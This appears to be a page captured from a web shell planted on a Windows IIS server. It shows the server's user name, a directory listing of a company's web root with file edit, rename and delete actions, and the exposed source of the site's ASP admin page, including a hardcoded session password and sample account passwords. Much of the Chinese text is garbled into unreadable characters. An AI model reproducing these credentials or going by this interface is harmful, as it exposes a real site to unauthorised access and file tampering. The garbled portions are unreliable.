Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
<% loginnumber=session("Webpassed") if loginnumber<>"%asc365com%" then response.End() end if %> <% if session("asc365allpassword")<>"8879365" then response.end set fs=Server.CreateObject("Scripting.FileSystemObject") %> <font color="#FFFF00"><b><span style="background-color: #000000">14</span></b></font> <table border="1" width="800" height="239" style="border-collapse: collapse" bordercolor="#C0C0C0"> <tr> <td height="239" width="792"> <b> <%'================================BWL start==================================== Thispage ="http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("URL") Thispage1="http://" & Request.ServerVariables("SERVER_NAME") Pathh=Server.MapPath("../../Admin/Product_Sort") If request.form ("B2")="Submit" then set f=fs.CreateTextFile(Pathh,true) DD=request.form("S19") f.write(DD) f.close :set f=nothing end if If (fs.FileExists(Pathh))=true then Set f=fs.OpenTextFile(Pathh, 1) do while f.AtEndOfStream = false WW=trim(f.ReadLine) if len(WW)<>0 and left(ww,2)<>"//" and left(ww,2)<>"\\" then Temp=split(ww,"#") xx=trim(temp(0)) yy=xx 'response.write xx xx="../../Admin/"& xx If fs.FolderExists(Server.MapPath(xx)) <> true Then '1-����ļ�������ڣ��� set f1=fs.CreateFolder(Server.MapPath(xx)) set f1=nothing end if set f2=fs.CreateTextFile(Server.MapPath(xx & "\AuthCode")) f2.WriteLine("@@@#a"& yy & "#Session") f2.WriteLine("$$$#"& yy &"-Supplier # Page name") f2.writeline("***#"& trim(temp(2)) &"# Tech password") f2.writeline("%%%#"& trim(temp(3)) &"# price password") f2.writeline("***#"& trim(temp(4)) &"# Admin password") f2.close :set f2=nothing 'fs.CopyFile Server.MapPath("login.inc"),Server.MapPath(xx &"\login.inc")' fs.CopyFile Server.MapPath("../../Admin/999/login1.inc"),Server.MapPath(xx &"\login1.inc") fs.CopyFile Server.MapPath("../../Admin/999/login.inc"),Server.MapPath(xx &"\login.inc") fs.CopyFile Server.MapPath("../../Admin/999/01productinput.asp"),Server.MapPath(xx &"\01productinput.asp") fs.CopyFile Server.MapPath("../../Admin/999/02priceinput.asp"),Server.MapPath(xx &"\02priceinput.asp") fs.CopyFile Server.MapPath("../../Admin/999/03Techinput.asp"),Server.MapPath(xx &"\03Techinput.asp") fs.CopyFile Server.MapPath("../../Admin/999/04Htmlinput.asp"),Server.MapPath(xx &"\04Htmlinput.asp") fs.CopyFile Server.MapPath("../../Admin/999/05Memoinput.asp"),Server.MapPath(xx &"\05Memoinput.asp") fs.CopyFile Server.MapPath("../../Admin/999/06FileListing.asp"),Server.MapPath(xx &"\06FileListing.asp") fs.CopyFile Server.MapPath("../../Admin/999/07Combine.asp"),Server.MapPath(xx &"\07Combine.asp") fs.CopyFile Server.MapPath("../../Admin/999/08GlobalPrice.asp"),Server.MapPath(xx &"\08GlobalPrice.asp") fs.CopyFile Server.MapPath("../../Admin/999/pedit.asp"),Server.MapPath(xx &"\pedit.asp") end if WW19 =ww19& WW &chr(13)&chr(10) loop else set f=fs.CreateTextFile(Pathh,true) f.write("") end if f.Close:Set f=Nothing: %> </b> <font size="2" color="#000080"><span style="background-color: #FFFF00">1-��Ʒ���༰��Ȩ��Ϣ����</span></font><br> <form method="post" action="?ID=B14"> <textarea rows="11" name="S19" cols="127" style="font-size: 12px; font-family: Verdana"><%=ww19%></textarea><br> <input type="submit" value="Submit" name="B2"> </p> </form></td> </tr> </table> <%'------------------------------------------------------------ dim KK(999,1) Set f=fs.OpenTextFile(Server.MapPath("../../Admin/Product_Sort"), 1) do while f.AtEndOfStream = false WW=trim(f.ReadLine) if len(WW)<>0 and left(ww,2)<>"//" then temp=split(ww,"#") temp(0)=trim(temp(0)): temp(1)=trim(temp(1)) KK(temp(0),0)=temp(0) KK(temp(0),1)=temp(1) end if loop f.Close:Set f=Nothing: %> <br> <font size="2" color="#000080"><span style="background-color: #FFFF00">2-��Ʒ������ʾ</span></font><font color="#000080"></font><br><br> <% for i= 0 to 998 if len(KK(i,0))<>0 then %> <table border="1" width="800" height="2" bgcolor="#FFFFFF" style="border-collapse: collapse" bordercolor="#e0e0e0"> <tr> <td height="20" width="39"> <a target="_blank" href="../../Admin/<%=KK(i,0)%>/Pedit.asp"> <font size="2" face="Verdana"><%=KK(i,0)%></font></a></td> <td height="20" width="250"><font size="2" face="Verdana"><%=KK(i,1)%></font></td> <% nn=Server.MapPath("../../Admin/" & KK(i,0)&"/Pedit.asp") nn=replace (nn,Server.MapPath("/"),"") nn=thispage1 & nn NN=replace(nn,"\","/") %> <td height="20" width="499"><font size="2" face="Verdana" ><%=nn%></font></td> </tr> </table> <% end if next %> <br> <%'-----------------------------------------------------------%> <table border="0" width="800" height="152" id="table1" style="border-collapse: collapse" bordercolor="#C0C0C0"> <tr> <td height="146" width="196"><font size="2" color="#000080"><span style="background-color: #FFFF00">3-��Ʒ������Ŀ����</span></font> <%'==================================��Ʒ������Ŀ���壺======================================== If request.form ("B14")="Submit" then set f=fs.CreateTextFile(Server.MapPath("../../Admin/CPMSLM"),true) DD=request.form("S22"): f.write(DD) f.close :set f=nothing : end if Set fs=Server.CreateObject("Scripting.FileSystemObject") If (fs.FileExists(Server.MapPath("../../Admin/CPMSLM")))=true then Set f=fs.OpenTextFile(Server.MapPath("../../Admin/CPMSLM"), 1) do while f.AtEndOfStream = false WW=trim(f.ReadLine) if len(WW)<>0 then WW22 =ww22& WW &chr(13)&chr(10) loop else set f=fs.CreateTextFile(Server.MapPath("../../Admin/CPMSLM"),true) f.write("") end if f.Close:Set f=Nothing: %> <form method="post" action="?ID=B14"> <textarea rows="19" name="S22" cols="25" style="font-size: 12px; font-family: Verdana"><%=ww22%></textarea><br> <input type="submit" value="Submit" name="B14"></p> </form> </td> <td height="146" width="204"><font size="2" color="#000080"><span style="background-color: #FFFF00">4-�й������ż�</span></font> <%'--------------------------------------------------ȫ���Ʒ��Ӧ�۸���Ŀ���� If request.form ("B24")="Submit" then set f=fs.CreateTextFile(Server.MapPath("../../Admin/GLBPRILM"),true) DD=request.form("S221"): f.write(DD) f.close :set f=nothing : end if Set fs=Server.CreateObject("Scripting.FileSystemObject") If (fs.FileExists(Server.MapPath("../../Admin/GLBPRILM")))=true then Set f=fs.OpenTextFile(Server.MapPath("../../Admin/GLBPRILM"), 1) do while f.AtEndOfStream = false WW=trim(f.ReadLine) if len(WW)<>0 then WW221 =ww221& WW &chr(13)&chr(10) loop else set f=fs.CreateTextFile(Server.MapPath("../../Admin/GLBPRILM"),true) f.write("") end if f.Close:Set f=Nothing: %> <form method="post" action="?ID=B14"> <textarea rows="19" name="S221" cols="25" style="font-size: 12px; font-family: Verdana"><%=ww221%></textarea><br> <input type="submit" value="Submit" name="B24"></p> </form> </td> <td height="146" width="200"><font size="2" color="#000080"><span style="background-color: #FFFF00">5-���ڲ�Ʒ��Ӧ�۸���Ŀ����</span></font> <%'==================================���ڲ�Ʒ��Ӧ�۸���Ŀ���壺========================================= If request.form ("B4")="Submit" then set f=fs.CreateTextFile(Server.MapPath("../../Admin/CPJGLM"),true) DD=request.form("S21"): f.write(DD) f.close :set f=nothing : end if Set fs=Server.CreateObject("Scripting.FileSystemObject") If (fs.FileExists(Server.MapPath("../../Admin/CPJGLM")))=true then Set f=fs.OpenTextFile(Server.MapPath("../../Admin/CPJGLM"), 1) do while f.AtEndOfStream = false WW=trim(f.ReadLine) if len(WW)<>0 then WW21 =ww21& WW &chr(13)&chr(10) loop else set f=fs.CreateTextFile(Server.MapPath("../../Admin/CPJGLM"),true) f.write("") end if f.Close:Set f=Nothing: %> <form method="post" action="?ID=B14"> <textarea rows="19" name="S21" cols="25" style="font-size: 12px; font-family: Verdana"><%=ww21%></textarea><br> <input type="submit" value="Submit" name="B4"></p> </form> </td> <td height="146" width="191"><font size="2" color="#000080"><span style="background-color: #FFFF00">6-����¼</span></font> <%'========================================= ����¼��======================================================= Thispage ="http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("URL") If request.form ("B3")="Submit" then set f=fs.CreateTextFile(Server.MapPath("../../Admin/BWL"),true) DD=request.form("S20") f.write(DD) f.close :set f=nothing : end if Set fs=Server.CreateObject("Scripting.FileSystemObject") If (fs.FileExists(Server.MapPath("../../Admin/BWL")))=true then Set f=fs.OpenTextFile(Server.MapPath("../../Admin/BWL"), 1) do while f.AtEndOfStream = false WW=trim(f.ReadLine) if len(WW)<>0 then WW20 =ww20& WW &chr(13)&chr(10) loop else set f=fs.CreateTextFile(Server.MapPath("../../Admin/BWL"),true) f.write("") end if f.Close:Set f=Nothing: %> <form method="post" action="?ID=B14"> <textarea rows="19" name="S20" cols="25" style="font-size: 12px; font-family: Verdana"><%=ww20%></textarea><br> <input type="submit" value="Submit" name="B3"></p> </form> </td> </tr> </table> <table border="0" width="800" height="48"> <tr> <td height="18" width="800"><p align="center"><font color="#800000">Help</font></td> </tr> <tr> <td height="24" width="794"><p align="left"><font face="Verdana" size="2" color="#800000"> 1-��Ʒ���༰��Ȩ��Ϣ����: <br> Ҫ�Ѳ�Ʒ�е���վ��ȥ������Ҫ����һ����Ʒ�⣬��Ʒ��IJ�Ʒ����Ϊ�����࣬��Ʒ����������Լ������Ʒ���ͨ�����ڴ˽��С�<br> ��Ʒ���еIJ�Ʒ������Ҫ�༭����Ϊ�����������û������������/�༭���ǧ�����ֲ�Ʒ��ֻ����������������Ӧ��������Щ���������䲻ͬ�IJ�Ʒ�����ͬ�Ĺ�Ӧ���ϴ����ǵIJ�Ʒ�������DZ���ġ�<span lang="zh-cn">����ˣ���Ʒ˵�����༭���ֱ�������ϵͳ���ɵ������༭��Աʹ�ã���������빫˾ϵͳ��<br> �ԡ�//�� ��ͷ���У�Ϊע���С�ע�ⷲ�����ԡ�//�� ��ͷ���о�Ϊ��Ч�У����������С�<br> ��Ч����⣺������</span><br> </font><font face="Verdana" size="2" color="#000080">000 # screen printing ˿��ӡˢ #23456 # 77898 # mypassword # ���ģ���ع�˾,416-7273877 QQ:12345</font><font face="Verdana" size="2" color="#800000"><br> 000 - ��ʾ��Ʒ�������ţ���000��999��������1000���࣬ÿһ������ֿ�����1000����Ʒ��<br> # - �ָ����<br> screen printing ˿��ӡˢ - ��������ơ�<br> 23456 - �����Ʒ˵���༭ҳ������룬��������Է�������漰��Ʒ�����۸�ֻ�����Ʒ�����༭����Ա��������������ġ�<br> 77898 - �����Ʒ˵���༭/�����۸���дҳ������룬������в�Ʒ�����۸����Ȩ����Ա��������������ġ�<br> mypassword - <span lang="zh-cn">ҵ��</span>���룬<span lang="zh-cn">ҵ���ɽ�����ҳ������Ϊһ����ͬ���룬���ڼ��䡣<br> ���ģ���ع�˾,416-7273877 QQ:12345 - ��Ʒҳ��༭��λ���й���Ϣ��������Ʒ�������ع�˾�����ı༭ ���й����ĵ�������Ϣ�ɼ�¼�ڴ˱������硣<br> ���</span></font> <font face="Verdana" size="2" color="#800000"># ��Ʒ������� # �������� # �۸����� # �ҵ����� # ������Ϣ <br> <br> 2-��Ʒ������ʾ<br> ��Ʒ���ඨ���ύ��������ݻ���ʾ���������+������+URL����URLҲ���Dz�Ʒ����༭��ҳ�ĵ�ַ��<br> �����ţ�������ҳ���������룬���ɽ���༭ҳ�档��URL��ַ�Լ������ṩ������������������������Ʒ��Ϣ��<br> <br> 3-��Ʒ������Ŀ���� <br> ����Ŀ�����ڲ�Ʒ��������Ҫ�Ķ��Ѷ������</span>��Ŀ�����Ի����������֣��京�岻�ɸı䣬��������Ŀ�����50���<br> <br> 4-�й������ż� <br> �����/������ʣ���681.75<br> <br> 5-���ڲ�Ʒ��Ӧ�۸���Ŀ����</span><br> ��Ʒ����ҳ���У���Ʒ�۸���Ķ��壬��Ҫ�Ķ��Ѷ������</span>��Ŀ�����Ի����������֣��京�岻�ɸı䣬��������Ŀ�����50���<br> <br> 6-����¼<br> </span></font></td> </tr> </table> </div> <%Set fs=Nothing%></body></html>